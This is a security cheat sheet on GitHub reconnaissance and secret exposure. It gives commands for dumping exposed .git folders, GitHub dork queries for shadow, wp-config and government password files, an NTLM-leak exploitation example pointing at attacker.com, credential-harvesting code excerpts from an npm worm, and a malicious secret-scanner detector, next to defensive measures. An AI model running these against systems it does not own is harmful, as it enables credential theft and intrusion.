- Repository Dumping & .git Exposure
- Secret Detection & Extraction
- Advanced GitHub OSINT
- Real-World Exploits & Case Studies
- Manual Git Forensics
- Defensive Measures
https://github.com/OwenChia/githack Exposes .git folder contents through directory traversal vulnerabilities.
https://github.com/deletescape/goop Alternative dumper for exposed .git repositories.
https://github.com/internetwache/GitTools
If we have access to .git folder:
./gitdumper.sh http://example.com/.git/ /home/user/dump/
./extractor.sh /home/user/dump/ /home/user/dump_extractedReal-world scenario: In 2023, a major e-commerce platform exposed their entire .git directory due to misconfigured web server routing. Attackers downloaded the repository and extracted database credentials from configuration files committed 4 years prior.
https://github.com/liamg/gitjacker
curl -s "https://raw.githubusercontent.com/liamg/gitjacker/master/scripts/install.sh" | bash
gitjacker target.comThis tool automatically reconstructs entire Git repositories from exposed .git folders, including all commit history.
https://github.com/HightechSec/git-scanner Scans for publicly accessible .git directories across IP ranges and domains.
https://github.com/zricethezav/gitleaks
Docker method:
sudo docker pull zricethezav/gitleaks
sudo docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/target/repo.gitLocal repository scan:
gitleaks detect /tmp/test -vReal-world impact: In 2024, a Fortune 500 company's internal scan using Gitleaks discovered over 300 valid API keys and credentials across their repositories, including production AWS keys that had been exposed for 18+ months.
https://github.com/trufflesecurity/trufflehog
Scan a repository:
trufflehog https://github.com/Plazmaz/leaky-repo
trufflehog --regex --entropy=False https://github.com/Plazmaz/leaky-repoFilesystem scan:
trufflehog filesystem --directory=/tmp/testCritical feature: TruffleHog verifies secrets by actually testing them against the service API, eliminating false positives.
# Only show verified (confirmed working) secrets
trufflehog --only-verified https://github.com/target/repo.gitWordPress configuration files with passwords:
python3 gitminer-v2.0.py -q 'filename:wp-config extension:php FTP_HOST in:file' -m wordpress -c API_KEY -o results.txtGovernment files containing passwords (Brazilian example):
python3 gitminer-v2.0.py --query 'extension:php "root" in:file AND "gov.br" in:file' -m senhas -c API_KEYShadow files in etc path:
python3 gitminer-v2.0.py --query 'filename:shadow path:etc' -m root -c API_KEYJoomla configuration with passwords:
python3 gitminer-v2.0.py --query 'filename:configuration extension:php "public password" in:file' -m joomla -c API_KEYEnable in repository: Settings → Code Security → Secret scanning
GitHub Actions integration example:
name: Secret Scan
on: [pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: gitleaks/gitleaks-action@v2After cloning or dumping a repository:
# View commit history
git log
# Checkout a specific commit containing sensitive files
git checkout f17a07721ab9acec96aef0b1794ee466e516e37a
ls -la
cat .env
# Search commit history for secrets
git log -S "password" --source --all
git grep "API_KEY" $(git rev-list --all)https://github.com/BishopFox/GitGot
./gitgot.py --gist -q CompanyName
./gitgot.py -q '"example.com"'
./gitgot.py -q "org:github cats"Semi-automated tool with feedback mechanisms for auditing Git repositories.
https://github.com/michenriksen/gitrob
gitrob target.comAnalyzes public organizations and repositories for sensitive files.
https://github.com/tillson/git-hound
echo "domain.com" | githound --dig --many-results --languages common-languages.txt --threads 100High-risk OSINT tool for finding sensitive data in GitHub repositories.
https://github.com/hisxo/gitGraber
python3 gitGraber.py -k wordlists/keywords.txt -tgRequires API configuration. Searches for unprotected tokens.
https://shhgit.darkport.co.uk/ Real-time monitoring of GitHub for exposed secrets.
https://github.com/gwen001/github-search Advanced GitHub search capabilities for security research.
https://github.com/Orange-Cyberdefense/versionshaker Finds websites from GitHub repositories - identifies domains and subdomains referenced in code.
Navigate to a company's GitHub profile to view all employees who have public contributions. Each employee's personal repositories may contain company code, credentials, or internal documentation unintentionally exposed.
Vulnerability: Prior to version 3.4.20-beta3, GitHub Desktop on Windows had a path traversal vulnerability. When viewing a malicious commit in the history view, Git would attempt to resolve UNC paths (network shares), triggering NTLM authentication which leaks:
- Computer name
- Currently signed-in Windows username
- NTLM hash (vulnerable to offline cracking)
Exploitation: Attacker creates a repository with a commit containing a file referencing \\attacker.com\share\file. When victim views the diff, Windows automatically sends NTLM authentication to attacker-controlled server.
Fix: Upgrade to GitHub Desktop 3.4.20 or later. Workaround: only view commits from trusted sources.
Overview: Malicious npm packages compromised CrowdStrike and nearly 500 other packages in an ongoing campaign named after the Dune sandworms.
Attack Mechanism: The malware installed TruffleHog (a legitimate secret scanner) and executed it to:
- Search host systems for tokens and cloud credentials
- Validate discovered developer and CI credentials
- Create unauthorized GitHub Actions workflows within repositories
- Exfiltrate sensitive data to a hardcoded webhook endpoint
Code Analysis (Version 1 vs Version 2):
// Version 1 - Direct credential harvesting
modules:{github:{authenticated:F.isAuthenticated(),token:F.getCurrentToken()},
aws:{valid:await te.getCallerIdentity(),secrets:await te.getAllSecretValues()}}
// Version 2 - Improved error handling, targeting GCP instead of Azure
let ue=[];await te.isValid()&&(ue=await te.getAllSecretValues());
modules:{aws:{secrets:ue},gcp:{secrets:de}}7 Evolution Stages Identified:
- V1-V2: Added GCP targeting, improved exception handling
- V2-V3: Removed logging, fixed race conditions, earlier GitHub token abuse
- V3-V4: Increased package iteration from 10 to 20 per maintainer
- V4-V5: Removed repo existence check (always creates "Shai-Hulud" repo)
- V5-V6: Removed filesystem scanning (loudest step), increased stealth
- V6-V7: Removed bare-repo filesystem manipulation, retained workflow injection
Indicators of Compromise:
- Workflow file named
shai-hulud.yamlorshai-hulud-workflow.yml - Nearly 700 public repositories titled "Shai-Hulud Migration"
- Unexpected TruffleHog execution in CI/CD pipelines
Detection: Sigma rule detects TruffleHog execution with command line arguments including 'Git', 'GitHub', 's3', 'gcs'.
Vulnerability Discovery: Security researchers identified that TruffleHog enables all 700+ detectors by default, and keywords can overlap, causing secrets to be sent to multiple verification endpoints.
Attack Scenario - "Uare" Detector: The legitimate Square detector looks for keyword "EAAA" with regex pattern for 60-character tokens. An attacker registers a fictional "Uare" service. Since "uare" is a substring of "square", any chunk containing Square secrets triggers both detectors.
Malicious Detector Code:
// Uare detector - appears legitimate but harvests Square tokens
var secretPat = regexp.MustCompile(detectors.PrefixRegex([]string{"uare"}) + `([a-zA-Z0-9\-\+\=]{60})`)
func (s Scanner) Keywords() []string {
return []string{"uare"} // Substring of "square"
}Impact: If the malicious detector passes code review (appearing as a legitimate contribution), any organization running TruffleHog will send their Square API tokens to the attacker's verification endpoint.
Mitigation: Organizations should review and selectively enable detectors rather than using all 700+ by default.
# List all objects with their types
git cat-file --batch-check --batch-all-objects | grep blob
# Display content of specific blob
git cat-file -p HASH# Search through all commits including deleted files
git log --all --full-history --source -- "*password*"
git log -S "secret" --pickaxe-regex
# Recover deleted file
git rev-list -n 1 HEAD -- filename
git checkout HASH~1 -- filenamehttps://github.com/[account]/[repo]/commit/[commit-id]
Example: https://github.com/zricethezav/gitleaks/commit/744ff2f876813fbd34731e6e0d600e1a26e858cf
When dumping a .git folder, you're working with a bare repository:
# Convert to working repository
git config --unset core.bare
git reset --hardDependabot for vulnerability scanning:
# Enable in GitHub settings or add dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"npm audit in CI:
- run: npm audit --audit-level=high- Never hardcode secrets - Use environment variables or secret managers
- Rotate secrets every 90 days - Especially if exposed in any commit
- Use GitHub Actions Secrets for CI/CD credentials
- Implement branch protection requiring passing secret scans before merge
- Use AWS Secrets Manager, HashiCorp Vault, or Doppler for automation
docker run -v $(pwd):/tmp/out \
zricethezav/gitleaks:latest detect \
--source="/tmp/out" -v --no-color > results.txtdocker run --rm -it -v "$(pwd):/out" \
trufflesecurity/trufflehog:latest git file:///out | \
sed -r 's/\x1b_[^\x1b]*\x1b[\\]//g; s/\x1B\[[^m]*m//g' > results.txtMany secrets match generic patterns (e.g., 32-character alphanumeric strings appear in 24+ detectors). Use --only-verified with TruffleHog to confirm secrets actually work before reporting, but be aware this sends the secret to the service's API for validation.